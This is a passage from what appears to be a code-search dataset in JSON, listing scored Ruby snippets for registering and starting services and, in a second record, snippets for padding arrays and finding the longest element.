'http://localhost:8500/v1/agent/service/register',\n initheader={'Content-Type' => 'application/json'}\n )\n req.body = registration.to_json\n @http.request(req)\n puts \"Registered service `lifx`\"\n end", "title": "" }, { "docid": "4efde5a1b826d0dcf0a9ad8593c54a5b", "score": "0.58827853", "text": "def add(name_service)\n name_service = name_service.to_async\n orig_add(name_service)\n event :name_service_added,name_service\n end", "title": "" }, { "docid": "41e983c3f2fbceb36d62e7226d944402", "score": "0.58812577", "text": "def register_service(name, version, region, hostname, port)\n server = \"#{hostname}:#{port}\"\n key = \"#{name}/#{version}/#{region}\"\n (@services[key] ||= []) << server\n key\n end", "title": "" }, { "docid": "798e75ca7467c9d25ce077815090c310", "score": "0.5820219", "text": "def register(name)\n System.manager.delete(@registered) if @registered\n @registered = name.to_sym\n System.manager[@registered] = self\n self\n end", "title": "" }, { "docid": "68ba607ed62d8a251a3f479d68623bfc", "score": "0.5814745", "text": "def register_server(name, port); end", "title": "" }, { "docid": "d1201092e6823d7a3bd85a083d85c615", "score": "0.5810728", "text": "def provide_service service_name, service_info={}\n Chef::Log.info(\"Registering to provide #{service_name}: #{service_info.inspect}\")\n node.set[:provides_service][service_name] = {\n :timestamp => ClusterServiceDiscovery.timestamp,\n }.merge(service_info)\n node.save\n end", "title": "" }, { "docid": "9871f3b99f328d40990450056dec18fb", "score": "0.5789302", "text": "def register(name, &block)\n raise DuplicateServiceError, \"Duplicate Service Name '#{name}'\" if @services.include? name\n \n @services[name] = block\n end", "title": "" }, { "docid": "6e7eab00b903f6cb60224bafed24479d", "score": "0.577579", "text": "def register(name, &block)\n if @services[name]\n fail DuplicateServiceError, \"Duplicate Service Name '#{name}'\"\n end\n @services[name] = block\n end", "title": "" }, { "docid": "8cd9d51a04d845ae5a26f92e11afa10e", "score": "0.57640946", "text": "def service(name)\n Upstart::DBus::Service.new(@bus.service(name))\n end", "title": "" }, { "docid": "d9e3abcd90ab0dc46d1ee542b115a7a5", "score": "0.5763682", "text": "def define_actor(name, &blk)\n Actor.define name, &blk\n end", "title": "" }, { "docid": "c3a053d1b78bb87358565f1f0bc807ab", "score": "0.57549614", "text": "def start_service\n raise \"service name not set for #{self}\" unless service_name\n\n host_sudo \"service #{Shellwords.escape service_name} \" +\n \"start >/dev/null 2>&1\"\n end", "title": "" }, { "docid": "0bbce2fa12d969d417de508b7a4e52c1", "score": "0.5754763", "text": "def register(service)\n raise \"You can only register Servicesregistry::Service instances!\" unless service.class == Servicesregistry::Service \n services << service unless services.include?(service)\n end", "title": "" }, { "docid": "f01fea3379bf65b76b8ce68816b87e75", "score": "0.5726511", "text": "def start_systemd_haveged_service\n service 'haveged.service' do\n action :start\n end\nend", "title": "" }, { "docid": "37c9cf7ddc943985a3f80a3a1446f440", "score": "0.57033694", "text": "def register(service_id, service_uri)\n service = Service.new(service_id, service_uri)\n StubRequests.logger.warn(\"Service already registered #{service}\") if self[service_id]\n\n self[service_id] = service\n service\n end", "title": "" }, { "docid": "680529230db29f0b533ea12d546a8ff7", "score": "0.57029426", "text": "def service_init (service_name, application_context)\n\n @service_name = service_name\n @application_context = application_context\n\n @application_context[@service_name] = self \\\n if @service_name and @application_context\n #\n # don't register if it's not needed\n end", "title": "" }, { "docid": "c8589b6ce3c7738a4e3053ad829d96af", "score": "0.56987625", "text": "def add(name, init)\n self.actors << Actor.new(name, init)\n end", "title": "" }, { "docid": "a38e56ff571dccd23389bfaa0cfec70b", "score": "0.56930363", "text": "def service(name)\n # The service might not exist at this time so we cannot really check\n # anything\n Service.new(name, self)\n end", "title": "" }, { "docid": "dcc140dced686a33c05e1d6c451f7a99", "score": "0.5692804", "text": "def register(*actor_addresses)\n return @proxy.sync(:register, *actor_addresses) unless @proxy.nil?\n \n actor_addresses.each do |addr| \n raise ArgumentError, \"#{addr} must be an actor address, or respond to :address\" unless addr.is_a?(String) || addr.respond_to?(:address)\n a = addr.respond_to?(:address) ? addr.address : addr\n next if @actors.include?(a)\n @actors.push(a)\n end\n \n save_member_list\n address\n end", "title": "" }, { "docid": "6a70ef1ac714f63da1552abc639a28c7", "score": "0.56894386", "text": "def register_service(name, version, region, hostname, port)\n @registry[\"#{name}/#{version}/#{region}/#{hostname}/#{port}\"] = {\n \"Config\" => {\n \"UUID\" => \"#{hostname}:#{port}-#{$$}-#{name}-#{version}\",\n \"Name\" => name,\n \"Version\" => version.to_s,\n \"Region\" => region,\n \"ServiceAddr\" => {\n \"IPAddress\" => hostname,\n \"Port\" => port,\n \"MaxPort\" => port + 999\n },\n },\n \"Registered\" => true\n }\n end", "title": "" }, { "docid": "93844c4b5fd5ff1753cee442e582fce9", "score": "0.56396747", "text": "def register_method(service)\n self.define_singleton_method(service.name) do\n service\n end\n end", "title": "" }, { "docid": "9f4112f5cc359c798c4316a2e0bd582e", "score": "0.5636556", "text": "def start_service\n service new_resource.service_name do\n supports(\n status: true,\n restart: true\n )\n action %i(enable start)\n end\n end", "title": "" }, { "docid": "7bb469f7e650e18e9b41371202a0a27f", "score": "0.5629958", "text": "def register_server(name, &block); end", "title": "" }, { "docid": "2131947881f7cfb7d8b79ee5bce27390", "score": "0.5609923", "text": "def add_service(serv)\n services << serv\n end", "title": "" }, { "docid": "646a2ded6787b3405f17086cdd4fa52f", "score": "0.55955887", "text": "def register\n @host = Socket.gethostname\n end", "title": "" }, { "docid": "87c7ac17beac0651633f53f26b2dc4da", "score": "0.55576926", "text": "def start(name)\n service_class, service_config = @services.fetch(name)\n environment.insert_components('/') { tree(name, :sub_root) }\n service_view = environment.with_local_root(environment.find(\"/#{name}\"))\n mod = service_class.new(service_view)\n mod.instance_eval(&service_config)\n mod.run\n end", "title": "" }, { "docid": "591df69eaa133183c980d2a4ac0e1691", "score": "0.55574894", "text": "def initialize(service_name)\n auto_wire(service_name)\n end", "title": "" }, { "docid": "227dbb696af7b58aa22a83a166445bc0", "score": "0.55541986", "text": "def add_service(domain_name, service_name)\n s= nil\n begin \n s = @container.add_domain(domain_name).add_service(service_name)\n s.install()\n rescue => ex\n ContainerLogger.error \"Error adding service #{domain_name}::#{service_name}!\", 1 \n raise Exception.new(\"Error adding service #{domain_name}::#{service_name}!\")\n end\n \n begin \n s.start\n rescue => ex\n ContainerLogger.error \"Error starting service after install #{domain_name}::#{service_name}!\\n #{ex}\", 1 \n raise Exception.new(\"Error starting service after install #{domain_name}::#{service_name}!\\n #{ex}\")\n end\n true\n end", "title": "" }, { "docid": "61b91caedb6afb57690ed70417303440", "score": "0.5539532", "text": "def instantiate_service(service_name, service_conf, application)\n svc = nil\n @services_lock.with_write_lock do\n # retrieve service location in @services\n app_name = application.name.to_sym\n @services[app_name] ||= {}\n @services[app_name][service_name] ||= [nil, nil]\n svc = @services[app_name][service_name][0]\n\n # create service if it does not exist...\n unless svc\n svc_strategy = self.class.service_strategy_factory(service_name, service_conf,application)\n svc = Service.new(service_name, service_conf, application, svc_strategy)\n logger.info \"*** #{self.class.name}: Created new service #{service_name.to_s} ***\"\n # add service to the set of services of corresponing application\n # TODO: we operate under the assumption that the (application_name,\n # service_name) couple is unique for each service. Make sure the\n # assumption holds, so that the following statement does not overwrite\n # anything!!!\n @services[app_name][service_name] = [svc, nil] # [service, timer]\n end\n end\n\n # ...and activate it!\n # TODO: or postopone activation until the first request arrives?\n activate_service(svc) if svc\n end", "title": "" }, { "docid": "90bbe4eb86e04c8cf3fe76ded4cb3323", "score": "0.5519379", "text": "def register(definition, options = {})\n new_service = build_service(definition.stringify_keys)\n services.push new_service\n persist!\n end", "title": "" }, { "docid": "01f58d53daab5c35cd454304f6fb57ee", "score": "0.5516458", "text": "def register object, name\n service = RingyDingy.new object, name, nil, @ring_lookup\n service.check_every = 60\n service.run :first_register\n end", "title": "" }, { "docid": "7ddb3d726ea430548564f1b036e1525d", "score": "0.5515249", "text": "def service(sym, &service_definition)\n receiver = SDL::Receivers::ServiceReceiver.new(sym, self)\n receiver.instance_eval &service_definition if block_given?\n @services[sym] = receiver.service\n receiver.service.symbolic_name = sym.to_s\n receiver.service.extend ServiceMethods\n receiver.service\n end", "title": "" }, { "docid": "d3b35aaafc39434514560f1f5529c361", "score": "0.5513264", "text": "def []=(name, impl)\n @runtime_services[name] = impl\n end", "title": "" }, { "docid": "84f7ba6a338f65539b2daa0ee6506256", "score": "0.5506523", "text": "def add_service(domain_name, service_name)\n s= nil\n begin \n s = @container.add_domain(domain_name).add_service(service_name)\n s.install()\n rescue => ex\n ContainerLogger.error \"Error adding service #{domain_name}::#{service_name}!\\n #{ex}\", 1 \n return \"error;#{ex.message}\"\n end\n \n begin \n s.start\n rescue => ex\n ContainerLogger.error \"Error starting service after install #{domain_name}::#{service_name}!\\n #{ex}\", 1 \n return \"error;#{ex.message}\"\n end\n true\n end", "title": "" }, { "docid": "3e375282e4556970f48180c43b9da563", "score": "0.5465225", "text": "def create_service(name: nil, **params)\n name ||= @name\n @client.services.create(name: name, system_name: name, **params)\n end", "title": "" }, { "docid": "2303f9948fb408ee9579ca2b36067ef2", "score": "0.54632956", "text": "def register(name, instance); end", "title": "" }, { "docid": "e4932e910d261a50457f2e961a15745d", "score": "0.54621327", "text": "def register_service(id, service, features = [], options = { autostart: true, priority: DEFAULT_PRIORITY }, &registration_callback)\n unless service_registry.has_key? id\n service.service_id = id\n features = service.provided_features if features.nil?\n features = [ features ] unless features.kind_of? Array\n features << SERVICE_FEATURE unless features.member? SERVICE_FEATURE\n options[:autostart] = true unless options.has_key? :autostart\n options[:priority] = DEFAULT_PRIORITY unless options.has_key? :priority\n service_registry[id] = ServiceRegistration.new(id, service, features, options)\n\n # Optional callback method notifying the listener that the registration has completed\n registration = service_registered service_registry[id] if respond_to? :service_registered, true\n registration_callback.call registration unless registration_callback.nil?\n\n registration\n else\n raise \"Service with id #{id} has been registered\"\n end\n end", "title": "" }, { "docid": "39002444d5f0de06c7964b95a15e5a94", "score": "0.54586756", "text": "def <<(name_service)\n add(name_service)\n end", "title": "" }, { "docid": "d51d1637253309df67098453ea1c2171", "score": "0.5447804", "text": "def register!\n God.registry.add(@process)\n end", "title": "" }, { "docid": "2751043ffea3d7a9ebfa2546eba8116f", "score": "0.5439321", "text": "def register(name, delivery_method); end", "title": "" }, { "docid": "a39b2e915db1f59b38f93e3d13b72a1d", "score": "0.54390574", "text": "def register\n \n end", "title": "" }, { "docid": "976fe58784dc35cec5e210b1f98094bd", "score": "0.54214895", "text": "def register_actors!\n self.class.actors.each { |actor| register_actor(actor) }\n end", "title": "" }, { "docid": "90d22fe0d355c6c51e0f74fb6adad2ab", "score": "0.5418331", "text": "def add_service (name, path_or_instance, classname=nil, opts=nil)\n\n @context.add_service(name, path_or_instance, classname, opts)\n end", "title": "" }, { "docid": "90d22fe0d355c6c51e0f74fb6adad2ab", "score": "0.5418331", "text": "def add_service (name, path_or_instance, classname=nil, opts=nil)\n\n @context.add_service(name, path_or_instance, classname, opts)\n end", "title": "" }, { "docid": "8b1d51d8c22b134991d95468867e0bab", "score": "0.5415216", "text": "def start_service\n create_ca\n\n super\n end", "title": "" }, { "docid": "67ef15931d299f09f08098f26003e4e9", "score": "0.54068065", "text": "def store_service name, handler\n if name == 'system'\n Util.error(\"Invalid service name: #{name}\")\n else\n @store[name] = handler\n end\n end", "title": "" }, { "docid": "32b400f0ea85c84b1a5b1ce05ad88d32", "score": "0.5404582", "text": "def [](name)\n service = @runtime_services[name]\n raise ArgumentError, \"Unknown service #{name}\" unless service\n\n if service.is_a?(Proc)\n @runtime_services[name] = service.call\n else\n service\n end\n end", "title": "" }, { "docid": "6505cf4d4ded5180f198bc4c9d27615a", "score": "0.540206", "text": "def svc_activate(svc_man, attribs = {})\n\t\t@svc_man = svc_man\n\t\t@svc_man.add_event_listener(self, Eggtooth::ServiceManager::TOPIC_SERVICE_REGISTERED)\n\t\t@fwk = @svc_man.get_by_sid(:framework)\n\t\t@log = @fwk.logger(self)\n\n\t\t@root_paths = Eggtooth::get_value(attribs['root.paths'], Array)\n\n\t\t# initialize static mapping handlers\n\t\tmappings = Eggtooth::get_value(attribs['mappings'], Array)\n\t\tmappings.each do |mapping|\n\t\t\tprefix = mapping['prefix']\n\t\t\throot = @fwk.expression_eval(mapping['path'])\n\t\t\t@log.info(\"add mapping #{prefix} => #{hroot}\")\n\t\t\thandler = CoreFilesys::FileHandler.new(prefix, hroot, self)\n\t\t\tadd_handler(handler)\n\t\tend\n\tend", "title": "" }, { "docid": "ef70b9c6f83a5942f6b7791da9564c89", "score": "0.53942186", "text": "def register(controller=nil)\n\t\tif self.drb.nil?\n\t\t\tif not @acl\n\t\t\t\tself.start_service(nil,@front_prober,@port)\n\t\t\telsif @controller_uri\n\t\t\t\t@acl=Prober::build_acl(@controller_uri)\n\t\t\t\tself.start_service(@acl,@front_prober,@port)\n\t\t\telse\n\t\t\t\tself.log(\"Not starting service: ACL required, but no controller uri\")\n\t\t\tend\n\t\tend\n\t\tif controller.nil?\n\t\t\tif @controller_uri.nil?\n\t\t\t\traise RuntimeError, \"Missing URI for controller\", caller\n\t\t\tend\n\t\t\tcontroller=DRbObject.new nil, @controller_uri\n\t\tend\n\t\tcontroller.register(self)\n\t\treturn nil\n\tend", "title": "" }, { "docid": "3298efdd751b71937ba9212725754a94", "score": "0.5365348", "text": "def register_actor(actor_factory)\n registering_actor = actor(actor_factory.name)\n registering_actor.window = window\n registering_actor.show\n\n drawers.push(registering_actor)\n updaters.push(registering_actor)\n\n register_events_for_target(registering_actor,registering_actor.class.events)\n end", "title": "" }, { "docid": "044b04d6b7a538af2faefac48ae8443c", "score": "0.5362971", "text": "def request_service(name)\n r = proxy.RequestName(name, NAME_FLAG_REPLACE_EXISTING)\n raise NameRequestError if r[0] != REQUEST_NAME_REPLY_PRIMARY_OWNER\n @service = Service.new(name, self)\n @service\n end", "title": "" }, { "docid": "cf573b15e84cb2c32de84ffcb261312c", "score": "0.5356305", "text": "def add_service(name, path_or_instance, classname=nil, opts=nil)\n\n @context.add_service(name, path_or_instance, classname, opts)\n end", "title": "" }, { "docid": "8a86d3858f453dd001545cc371ba8f8c", "score": "0.53503746", "text": "def add_front(name_service)\n name_service = name_service.to_async\n orig_add_front(name_service)\n event :name_service_added,name_service\n end", "title": "" }, { "docid": "6859a6458b31dc29c98d2635c4c229cd", "score": "0.5346401", "text": "def provide_service service_name, service_info={}\n Chef::Log.info(\"Registering to provide service '#{service_name}' with extra info: #{service_info.inspect}\")\n timestamp = ClusterServiceDiscovery.timestamp\n node.set[:provides_service][service_name] = {\n :timestamp => timestamp,\n }.merge(service_info)\n node.save\n\n # Typically when bootstrap the chef node for the first time, the chef node registers itself to provide some service,\n # but the Chef Search Server is not faster enough to build index for newly added node property(e.g. 'provides_service'),\n # and will return stale results for search(:node, \"provides_service:#{service_name}\").\n # So let's wait for Chef Search Server to generate the search index.\n found = false\n while !found do\n Chef::Log.info(\"Wait for Chef Solr Server to generate search index for property 'provides_service'\") \n sleep 5\n # a service can be provided by multi nodes, e.g. zookeeper server service\n servers = all_providers_for_service(service_name)\n servers.each do |server|\n if server[:ipaddress] == node[:ipaddress] and server[:provides_service][service_name][:timestamp] == timestamp\n found = true\n break\n end\n end\n end\n Chef::Log.info(\"service '#{service_name}' is registered successfully.\")\n end", "title": "" }, { "docid": "eb55a5f5cc4c23c1c3a4e0f70c6bd51e", "score": "0.53423154", "text": "def register( name )\n registry[name] ||= self\n end", "title": "" }, { "docid": "1ebcb8335c342adca30a65d726dc5f3e", "score": "0.5341905", "text": "def service(name)\n if self.class.services.include?(name.to_sym)\n Serviced.fetch_service(name).for(self)\n end\n end", "title": "" }, { "docid": "b6d8ebbdf88b6ce1ca739647591370b3", "score": "0.53330666", "text": "def get(name)\n @services = {} unless defined?(@services)\n @services[name] = spawn(name) unless @services.include?(name)\n @services[name]\n end", "title": "" }, { "docid": "b1ae8ed3d574771c9f4755fcccee8107", "score": "0.5313003", "text": "def add_service_record(name, type, host, port, txt)\n # Replace the .local that Avahi sticks at the end of the host (why\n # doesn't it just use the domain field? who knows?)\n host.sub!(/\\.local$/, \"\")\n a = AvahiService.new(name, {:type=>type, :hostname=>host, :port=>port, :txt=>txt})\n @known_services[a.identifier] = a\n signal(:added, a)\n end", "title": "" }, { "docid": "ea85f7267cf457bc99590ef69ec5ab55", "score": "0.53109103", "text": "def register_service(service)\n return if service.nil?\n\n service = service.to_s\n\n unless @services.include?(service)\n # Add service to list and update services tag\n services << service\n\n # Recompile the service tags\n compile_service_tags!\n end\n end", "title": "" }, { "docid": "f86b637fb34ed828107008898d4023ba", "score": "0.529971", "text": "def create(args = {})\n port = args[:port]\n name = args[:name]\n target_port = args[:target_port]\n vmi_name = args[:vmi_name]\n service_type = args[:service_type]\n\n srv = {\n :apiVersion => \"v1\",\n :kind => \"Service\",\n :metadata => {\n :name => name,\n :namespace => service.namespace\n },\n :spec => {\n :externalTrafficPolicy => \"Cluster\",\n :ports => [\n {:nodePort => port,\n :port => port,\n :protocol => \"TCP\",\n :targetPort => target_port\n }\n ],\n :selector => {\n :\"kubevirt.io/vm\" => vmi_name\n },\n :type => service_type\n }\n }\n\n service.create_service(srv)\n end", "title": "" }, { "docid": "8fba8e6af0e2ee8e492717d461653ad5", "score": "0.5296864", "text": "def add_service(service)\n @services << service\n end", "title": "" }, { "docid": "ae6677317d23e3e03e0fd66af3509af6", "score": "0.5296066", "text": "def create_service\n raise 'Service was already started' unless stopped?\n\n # set flag to signal shutdown by stop / shutdown command\n @shutdown = false\n\n # instantiate the service for all @addresses (ip_address:port)\n @addresses.each do |address|\n # break address into ip_address and port and serve service\n ip_address = address.rpartition(':').first\n port = address.rpartition(':').last\n create_service_on_ip_address_and_port(ip_address, port)\n end\n end", "title": "" }, { "docid": "b16453d558c2011085d98bfe24474548", "score": "0.52904546", "text": "def register(name, api)\n @names[name] = api\n end", "title": "" }, { "docid": "65952e41a60080618128a66dbbaf3399", "score": "0.52624154", "text": "def register_service(key1, key2=nil, &block)\n if @services[key(key1,key2)] # check if the block has already been indexed as provided\n fail NameExistsError, \"A service is already under the name '#{key(key1,key2)}'.\"\n end\n @services[key(key1,key2)] = block\n end", "title": "" }, { "docid": "7523e50cb8942ea61cd92efd5c9b4950", "score": "0.5241758", "text": "def add_service(hostname = '127.0.0.1', port = 8081, parameters = {})\n parameters[:port] = port\n parameters[:hostname] = hostname\n parameters.update port if port.is_a?(Hash)\n service = TCPServer.new(parameters[:hostname], parameters[:port])\n self.class.s_locker.synchronize { self.class.services[service] = parameters }\n callback(self, :log, \"Started listening on #{hostname}:#{port}.\")\n true\n end", "title": "" }, { "docid": "fcde58b80b69d6f205f9eed1254834bb", "score": "0.52320987", "text": "def register_server(name, &block)\n servers.send(:register, name.to_sym, block)\n end", "title": "" }, { "docid": "79615d65d8aacb37df9cf6adc47df68d", "score": "0.52194655", "text": "def service\n @service ||= Resource::Service.new(app_name, run_context)\n @service.provider(\n Provider::Service.const_get(new_resource.init_system.capitalize)\n )\n @service\n end", "title": "" }, { "docid": "4afdeefa3a9e235fe19c5c9cea72bd06", "score": "0.52134556", "text": "def registerObject(name,object)\n\t\t@threads[name] = Thread.new {\n\t\t\t#--\n\t\t\t#@SAFE=2\n\t\t\tobject_path='drbunix://'+@path+File::Separator+name\n\t\t\tDRb.start_service(object_path,object)\n\t\t\tDRb.thread.join\n\t\t}\n\tend", "title": "" }, { "docid": "f06ed89d005a7b4f4234ddee5d1dcd72", "score": "0.5212058", "text": "def start_service()\n required_set?\n \n begin\n @container.find(@domain).find(@service).start()\n rescue Exception => ex\n ContainerLogger.error \"Error starting service #{@domain}::#{@service}!\".console_yellow, 1\n \"error;#{ex}\" \n rescue => ex\n ContainerLogger.error \"Error starting service #{@domain}::#{@service}!\".console_yellow, 1\n \"error;Error starting service #{@domain}::#{@service}!\"\n end\n \"#{@service} started!\"\n end", "title": "" }, { "docid": "382decadd13626fe0d3643bce10d46e1", "score": "0.5211169", "text": "def add_service(hostname = 'localhost', port = nil, parameters = {})\n hostname = 'localhost' if hostname.nil? || hostname.empty?\n service = TCPServer.new(hostname, port)\n parameters[:hostname] = hostname\n parameters[:port] = service.local_address.ip_port\n self.class.s_locker.synchronize { self.class.services[service] = parameters }\n callback(self, :log, \"Started listening on #{hostname}:#{parameters[:port]}.\")\n true\n end", "title": "" }, { "docid": "1a62bd2afb62599feb7b348f2d08fa82", "score": "0.5207419", "text": "def start(service)\n return system('%s start' % service)\nend", "title": "" }, { "docid": "558eec41454360fdbc766312881b1862", "score": "0.5196401", "text": "def register_service(klass)\n raise InvalidServiceException.new(\"#{klass.inspect} is not a RubySkynet::Service\") unless klass.respond_to?(:skynet_name) && klass.respond_to?(:skynet_version) && klass.respond_to?(:skynet_region)\n\n previous_klass = @services[klass.skynet_name]\n if previous_klass && (previous_klass.name != klass.name)\n logger.warn(\"Service with name: #{klass.skynet_name} is already registered to a different implementation:#{previous_klass.name}\")\n end\n @services[klass.skynet_name] = klass\n\n logger.info \"Registering Service: #{klass.name} with name: #{klass.skynet_name}\"\n ::RubySkynet.service_registry.register_service(klass.skynet_name, klass.skynet_version || 1, klass.skynet_region, @hostname, @port)\n end", "title": "" }, { "docid": "89d5f0973fee5e7819fecfe0cd76aca6", "score": "0.5188381", "text": "def install_service\n cmd = \"exec #{bin_location} \\\\\\n #{service_args}\"\n service_name = new_resource.service_name\n exec_start = ::File.join(vt_bin_path, \"#{service_name}.sh\")\n env = vitess_environment\n\n template exec_start do\n source 'bin/wrap.sh.erb'\n variables cmd: cmd\n owner new_resource.user\n group new_resource.group\n mode '0750'\n cookbook 'vitess'\n end\n\n systemd_service service_name do\n unit do\n description \"Chef managed #{service_name} service\"\n after Array(new_resource.service_unit_after).join(' ')\n end\n\n install do\n wanted_by 'multi-user.target'\n end\n\n service do\n type 'simple'\n exec_start exec_start\n restart new_resource.service_restart\n timeout_sec new_resource.service_timeout_sec\n user new_resource.user\n group new_resource.group\n environment env\n end\n end\n end", "title": "" }, { "docid": "cb3d7cd98a171ff4ca1b7a1a6ed53a26", "score": "0.5187016", "text": "def register_server\r\n @server = Server.new\r\n end", "title": "" }, { "docid": "e14fc5d35e73cd237579f5c413f4a51b", "score": "0.5181632", "text": "def register_facade name, handler\n @facade_map = {} unless (defined?(@facade_map) and @facade_map)\n @facade_map[name.to_sym] = handler\n end", "title": "" }, { "docid": "154542c63f1314d678ce234cb95f1580", "score": "0.517549", "text": "def add_service(name, service = ServiceRecord.new)\n raise ArgumentError.new(\"Value must be a ServiceRecord object when adding a service\") unless service.class == Longleaf::ServiceRecord\n raise IndexError.new(\"Service with name '#{name}' already exists\") if @services.key?(name)\n\n @services[name] = service\n end", "title": "" }, { "docid": "9ee4acdd11489fd23ce19d7d7d93db51", "score": "0.515945", "text": "def service\n @service ||= Chef::Resource::Service.new(app_name, run_context)\n @service.provider(\n Chef::Provider::Service.const_get(init_system.to_s.capitalize)\n )\n @service\n end", "title": "" }, { "docid": "44add3aac6f20f91e20eddedc3777dbe", "score": "0.51589", "text": "def create_service(service_name,rb_filename)\r\n Service.new(service_name, nil,\r\n :service_type => Service::WIN32_OWN_PROCESS,\r\n :description => 'A custom service I wrote just for fun',\r\n# :start_type => Service::AUTO_START,\r\n :error_control => Service::ERROR_NORMAL,\r\n :binary_path_name => 'D:\\tools\\ruby\\bin\\ruby.exe '+rb_filename,\r\n# :load_order_group => 'Network',\r\n# :dependencies => ['W32Time','Schedule'],\r\n# :start_name => 'SomeDomain\\\\User',\r\n# :password => nil,\r\n :display_name => \"colin's service2中文\"\r\n )\r\nend", "title": "" }, { "docid": "70354c76c6d489045a786392694c0c9b", "score": "0.5152174", "text": "def service!(name, hostname)\n self[Gsasl::GSASL_SERVICE] = name\n self[Gsasl::GSASL_HOSTNAME] = hostname\n end", "title": "" }, { "docid": "a495da56dbe98be8310c6ad36cbea22f", "score": "0.5151235", "text": "def start!\n register\n keep_alive!\n poller!\n @started = true\n end", "title": "" }, { "docid": "dd446b5dfd6ffef87a48bf9ab4fb96a1", "score": "0.51495796", "text": "def register_worker\n redis.sadd(:workers, self)\n started!\n end", "title": "" }, { "docid": "cafdbe31af3383e2dfc5acd5c3924749", "score": "0.5148552", "text": "def add_service(s)\n raise \"Service already existing\" if @services.include?(s)\n @services << s\n end", "title": "" }, { "docid": "494c1b1fd1c173f9937c100cfe0a1720", "score": "0.5148446", "text": "def install_service(service, config)\n if config.has_key?('local_path')\n if not @soa.local_work_dir and not @soa.vagrant_work_dir\n @env[:ui].error \"You must specify 'config.soa.local_work_dir' and 'config.soa.vagrant_work_dir' to setup a local service\"\n return\n end\n target_directory = symlink_local_service(service, config)\n puppet_directory = File.expand_path(config['local_path'], @soa.local_work_dir)\n else\n target_directory = clone_service_repo(service, config)\n puppet_directory = target_directory\n end\n puppet_path = config.fetch('puppet_path', 'puppet')\n full_path = File.join(puppet_directory, puppet_path)\n register_service_home_fact(service, config)\n @puppet_module_registry.register_module_path(service, full_path)\n end", "title": "" }, { "docid": "67aba916952dd863c406c1a6570ac098", "score": "0.5146793", "text": "def register(context_id, application_id, service_name, addr)\n p \"checking #{context_id} #{application_id} #{service_name}\"\n unless @contexts[context_id][application_id][service_name].include? addr\n unless addr =~ /^\\d+\\.\\d+\\.\\d+\\.\\d+(:\\d+)?$/\n addr_parts = /^([^:]*)(:\\d+)?/.match addr\n port = if addr_parts[2] then addr_parts[2] else \":80\" end\n Net::DNS::Resolver.start(addr_parts[1], Net::DNS::A).each_address do |ip|\n @dns_map.synchronize do\n @dns_map[ip.to_s+port] = addr\n end\n end\n end\n @contexts[context_id][application_id][service_name] << addr\n\n end\n end", "title": "" }, { "docid": "aa6fc6c27b4678eedcc26829e71067b5", "score": "0.5146193", "text": "def register_for(id); end", "title": "" }, { "docid": "ddcbc924fd434725fd2e870fbc2f1058", "score": "0.51384956", "text": "def add_service klass\n @services << klass\n end", "title": "" }, { "docid": "e48c9b59fb2c5f7bc465563cfd8ae9ef", "score": "0.51344806", "text": "def register_peer(peer)\n putsd \"Registering peer: #{peer.uuid}\"\n peer_registry.register(peer)\n end", "title": "" } ]
8bf43e9e63fd47990a9c5053f909c851
This takes a number of arrays as inputs, determines the length of the longest, and pads the rest with 0s until they're the sames length If we don't do this is becomes awkward to add numbers with different bit lengths
[ { "docid": "c14a594534ea7a0da05bc978ad996395", "score": "0.7139987", "text": "def even_the_bit_lengths(*numbers)\n longest_length = numbers.max {|a, b| a.length <=> b.length}.length\n numbers.map! do |number|\n while number.length != longest_length\n number.unshift(0)\n end\n number\n end\n numbers\nend", "title": "" } ]
[ { "docid": "85fd6d32f361f9579a752c9ae1001ae7", "score": "0.6425387", "text": "def longest_equal_subarray(array)\n return 0 if array == 0\n\n current_length, max_length, number = 0, 0, array.first\n\n array[1..-1].each do |x|\n if x == number\n current_length += 1\n else\n number = x\n current_length = 0\n end\n\n max_length = [max_length, current_length].max\n end\n\n max_length\nend", "title": "" }, { "docid": "70712b21067bf5730ad0ff127862d8c4", "score": "0.6308195", "text": "def find_max_length(a)\n\tmax = 0\t\n\tfor i in 0..a.size-2 do\n\t\tcount_0 = 0\n\t\tcount_1 = 0\n\t\tcurrent_max = 0\n\t\tfor j in i..a.size-1 do\n\t\t\tif a[j] == 0\n\t\t\t\tcount_0 = count_0+1\n\t\t\telsif a[j] == 1\n\t\t\t\tcount_1 = count_1+1\n\t\t\tend\n\t\t\tif count_0 == count_1\n\t\t\t\tcurrent_max = count_0+count_1\n\t\t\tend\n\t\tend\n\t\tif current_max > max\n\t\t\tmax = current_max\n\t\tend\n\tend\n\tmax\nend", "title": "" }, { "docid": "d7401852504bc53fc0a6f20d0037a9d2", "score": "0.6218348", "text": "def run_length_encode\n self.pack_consecutive_duplicates.inject([]) do |array, current|\n array << [current.size, current[0]]\n array \n end\n end", "title": "" }, { "docid": "8b047a7f4b045c48b437d030af1a5a66", "score": "0.6208476", "text": "def clever_octopus(array)\n longest = array.first\n (1...array.length).each do |i|\n longest = array[i] if longest.length < array[i].length\n end\n longest\nend", "title": "" }, { "docid": "ab51662e9177e7df4c90f5ddbe260954", "score": "0.6151851", "text": "def pads(inputs)\n pads = []\n stop = 1.0 / 0.0\n\n triplets = Hash.new { |h, k| h[k] = [] }\n\n 0.step { |i|\n md5 = inputs[i]\n\n md5.scan(/(.)\\1\\1\\1\\1/).each { |(char)|\n candidates = triplets.delete(char)\n candidates.select { |n| n + WINDOW >= i }.each { |n|\n pads << n\n # Still need to check for any numbers undercutting n.\n stop = n + WINDOW if pads.size == NUM_KEYS\n }\n }\n\n m = (/(.)\\1\\1/.match(md5))\n triplets[m[1]] << i if m\n\n return pads.sort if i >= stop\n }\nend", "title": "" }, { "docid": "ab51662e9177e7df4c90f5ddbe260954", "score": "0.6151851", "text": "def pads(inputs)\n pads = []\n stop = 1.0 / 0.0\n\n triplets = Hash.new { |h, k| h[k] = [] }\n\n 0.step { |i|\n md5 = inputs[i]\n\n md5.scan(/(.)\\1\\1\\1\\1/).each { |(char)|\n candidates = triplets.delete(char)\n candidates.select { |n| n + WINDOW >= i }.each { |n|\n pads << n\n # Still need to check for any numbers undercutting n.\n stop = n + WINDOW if pads.size == NUM_KEYS\n }\n }\n\n m = (/(.)\\1\\1/.match(md5))\n triplets[m[1]] << i if m\n\n return pads.sort if i >= stop\n }\nend", "title": "" }, { "docid": "5fe295ca992f09eabc1808c807d8fd86", "score": "0.61221796", "text": "def pad!(array, min_size, value=nil) #destructive\n if min_size == 0 || array.length >= min_size\n return array\n else (min_size - array.length).times { |array, x| array << value.to_i } \n return array\n end\nend", "title": "" }, { "docid": "3c83e40bac523e5bbe265f8994d30978", "score": "0.6027322", "text": "def clever_oct(arr)\n longest = arr[0]\n arr.each do |fish|\n longest = fish if fish.length > longest.length\n end\n longest\nend", 